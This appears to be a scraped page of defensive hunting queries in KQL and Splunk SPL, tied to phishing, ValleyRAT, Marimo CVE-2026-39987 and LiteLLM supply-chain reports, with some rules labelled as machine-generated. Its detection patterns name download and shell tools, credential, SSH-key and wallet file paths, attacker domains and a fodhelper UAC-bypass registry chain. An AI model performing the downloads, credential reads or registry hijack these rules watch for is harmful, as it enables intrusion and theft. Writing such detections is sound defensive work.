ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("gofile.io")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("gofile.io")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("gofile.io")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
[LLM] Silver Fox Japanese tax/HR spearphishing with gofile.io or WeTransfer payloadDeliveryMedium
Hunts for Japanese-language tax-, ESOP-, salary- and personnel-change-themed lures associated with the Silver Fox 2026 spring campaign. The high-fidelity combination is Japanese seasonal HR/tax wording in the subject plus a body URL pointing at gofile.io / WeTransfer or a RAR/ZIP attachment, which the article calls out as Silver Fox's preferred staging.
Rationale: Built directly from the article's six named Japanese lure subjects (税務コンプライアンスおよび罰金通知, 従業員持株会規約, 人事異動・給与改定, etc.), the explicit mention of gofile.io / WeTransfer as Silver Fox staging, and the warning to inspect RAR/ZIP archives. Cross-checked with The Hacker News and CybersecurityNews coverage of the same 2026 campaign and Sekoia's Silver Fox writeup which corroborates archive-delivered payload tradecraft.
Cross-checked against:
• https://thehackernews.com/2026/03/silver-fox-expands-asia-cyber-campaign.html
• https://cybersecuritynews.com/new-silver-fox-campaign-hits-japanese-businesses/
• https://blog.sekoia.io/silver-fox-the-only-tax-audit-where-the-fine-print-installs-malware/
ATT&CKT1566.001T1566.002T1204.002
Data sourcesEmail.All_Email
let suspectSubjects = dynamic(["従業員持株会","人事異動","給与改定","給与調整","税務コンプライアンス","罰金通知","Salary Adjustment","Personnel Changes","ESOP"]);
let suspectHosts = dynamic(["gofile.io","wetransfer.com","we.tl"]);
let candidates = EmailEvents
| where Timestamp > ago(30d)
| where Subject has_any (suspectSubjects);
candidates
| join kind=leftouter (EmailUrlInfo | project NetworkMessageId, Url, UrlDomain) on NetworkMessageId
| join kind=leftouter (EmailAttachmentInfo | project NetworkMessageId, FileName, FileType, SHA256) on NetworkMessageId
| where (UrlDomain has_any (suspectHosts)) or (FileName matches regex @"(?i)\.(rar|zip|7z)$")
| project Timestamp, NetworkMessageId, SenderFromAddress, SenderMailFromDomain, RecipientEmailAddress, Subject, UrlDomain, Url, FileName, FileType, SHA256
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Email WHERE (All_Email.subject="*従業員持株会*" OR All_Email.subject="*人事異動*" OR All_Email.subject="*給与改定*" OR All_Email.subject="*給与調整*" OR All_Email.subject="*税務コンプライアンス*" OR All_Email.subject="*罰金通知*" OR All_Email.subject="*Salary Adjustment*" OR All_Email.subject="*Personnel Changes*" OR All_Email.subject="*ESOP*") BY All_Email.src_user All_Email.recipient All_Email.subject All_Email.file_name All_Email.url All_Email.message_id | `drop_dm_object_name("All_Email")` | where like(url,"%gofile.io%") OR like(url,"%wetransfer.com%") OR like(url,"%we.tl%") OR match(file_name,"(?i)\.(rar|zip|7z)$") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] ValleyRAT fodhelper UAC bypass via HKCU .pwn shell open commandInstallationHigh
Detects ValleyRAT's signature UAC bypass: writing a custom .pwn ProgID under HKCU\Software\Classes and re-pointing HKCU\Software\Classes\ms-settings\CurVer to it, so when fodhelper.exe is launched it executes the attacker payload elevated. This is the Silver Fox / ValleyRAT chain post-archive-execution.
Rationale: The .pwn ProgID + ms-settings\CurVer hijack is the documented ValleyRAT/Winos 4.0 fodhelper UAC bypass implementation. Confirmed against Splunk Security Research's ValleyRAT analysis and Sekoia's Silver Fox writeup which both name this exact chain. .pwn is non-standard and effectively zero-FP on enterprise endpoints.
Cross-checked against:
• https://www.splunk.com/en_us/blog/security/valleyrat-insights-tactics-techniques-and-detection-methods.html
• https://blog.sekoia.io/silver-fox-the-only-tax-audit-where-the-fine-print-installs-malware/
• https://attack.mitre.org/techniques/T1548/002/
ATT&CKT1548.002T1112T1546.015
Data sourcesEndpoint.RegistryEndpoint.Processes
let regHits = DeviceRegistryEvents
| where Timestamp > ago(7d)
| where (RegistryKey has @"\Software\Classes\.pwn\Shell\Open\Command")
or (RegistryKey has @"\Software\Classes\ms-settings\CurVer" and RegistryValueData has ".pwn")
| project regTime=Timestamp, DeviceId, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessSHA256;
let fodSpawn = DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName =~ "fodhelper.exe"
| project fodTime=Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, ProcessIntegrityLevel, InitiatingProcessFileName;
regHits
| join kind=leftouter fodSpawn on DeviceId
| where isnull(fodTime) or (fodTime between ((regTime) .. (regTime + 30m)))
| project regTime, DeviceName, RegistryKey, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine, fodTime, FileName, ProcessCommandLine, ProcessIntegrityLevel
| sort by regTime desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry WHERE (All_Registry.registry_path="*\\Software\\Classes\\.pwn\\Shell\\Open\\Command*" OR All_Registry.registry_path="*\\Software\\Classes\\ms-settings\\CurVer*") BY All_Registry.dest All_Registry.user All_Registry.registry_path All_Registry.registry_value_name All_Registry.registry_value_data All_Registry.process_name All_Registry.process_guid | `drop_dm_object_name("All_Registry")` | join type=outer dest [| tstats summariesonly=t count as fodhelper_spawns FROM datamodel=Endpoint.Processes WHERE Processes.process_name="fodhelper.exe" BY Processes.dest Processes.process_id Processes.parent_process_name | `drop_dm_object_name("Processes")`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] ValleyRAT C2 configuration persistence in HKCU\Software\Console IpDate keysInstallationHigh
Hunts for ValleyRAT's distinctive C2 configuration persistence: writes to HKCU\Software\Console\IpDate, IpDateInfo, and SelfPath, plus the malware's self-path reference. These keys are not used by Microsoft's console subsystem and are highly specific to ValleyRAT, the payload Silver Fox is dropping in this Japanese tax-season campaign.
Rationale: HKCU\Software\Console\IpDate / IpDateInfo / SelfPath are documented ValleyRAT C2-config persistence keys that store the C2 in the malware's signature "i:IP|p:PORT" format. These names are not used by any legitimate Windows component, making the registry path itself a near-deterministic ValleyRAT marker. Corroborated by Splunk Security Research and Sekoia analyses of the same Silver Fox / Winos 4.0 ValleyRAT family being dropped in this campaign.
Cross-checked against:
• https://www.splunk.com/en_us/blog/security/valleyrat-insights-tactics-techniques-and-detection-methods.html
• https://blog.sekoia.io/silver-fox-the-only-tax-audit-where-the-fine-print-installs-malware/
• https://www.rescana.com/post/silver-fox-expands-winos-4-0-valleyrat-and-holdinghands-rat-cyber-attacks-to-japan-and-malaysia
ATT&CKT1112T1071.001T1547.001
Data sourcesEndpoint.RegistryEndpoint.Processes
DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has @"\Software\Console" and (RegistryValueName in~ ("IpDate","IpDateInfo","SelfPath") or RegistryKey has_any ("IpDate","IpDateInfo","SelfPath"))
| extend likelyC2 = iff(RegistryValueData matches regex @"(?i)i:\d{1,3}(\.\d{1,3}){3}\|p:\d+", 1, 0)
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, likelyC2, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessSHA256
| join kind=leftouter (
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "baidu.com" or RemotePort in (5689, 8080, 443)
| summarize beacons=count(), distinctIPs=dcount(RemoteIP) by DeviceName, InitiatingProcessFileName
) on DeviceName
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry WHERE (All_Registry.registry_path="*\\Software\\Console\\IpDate*" OR All_Registry.registry_path="*\\Software\\Console\\IpDateInfo*" OR All_Registry.registry_path="*\\Software\\Console\\SelfPath*") BY All_Registry.dest All_Registry.user All_Registry.registry_path All_Registry.registry_value_name All_Registry.registry_value_data All_Registry.process_name All_Registry.process_path | `drop_dm_object_name("All_Registry")` | eval likely_c2 = if(match(registry_value_data,"(?i)i:\d{1,3}(\.\d{1,3}){3}\|p:\d+"),1,0) | where likely_c2=1 OR registry_path="*\\IpDate*" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-274 use cases1 technique3 kill-chain phases detected
F5 BIG-IP APM contains a stack-based buffer overflow vulnerability that could allow a threat actor to achieve remote code execution. Vendor: F5, Product: BIG-IP. Federal patch due: 2026-03-30.
CVEsCVE-2025-53521
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-53521")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-53521")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-2610 use cases4 techniques6 kill-chain phases detected
Dissecting the supply chain attack on LiteLLM, a multifunctional gateway used in many AI agents. Explaining the dangers of the malicious code and how to protect yourself.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — An AI gateway designed to steal your data
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] LiteLLM/TeamPCP C2 beacon to checkmarx.zone/raw and models.litellm.cloud
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Crypto-wallet file/keystore access by non-wallet process · Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("checkmarx.zone", "models.litellm.cloud")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("checkmarx.zone", "models.litellm.cloud")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("checkmarx.zone", "models.litellm.cloud")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
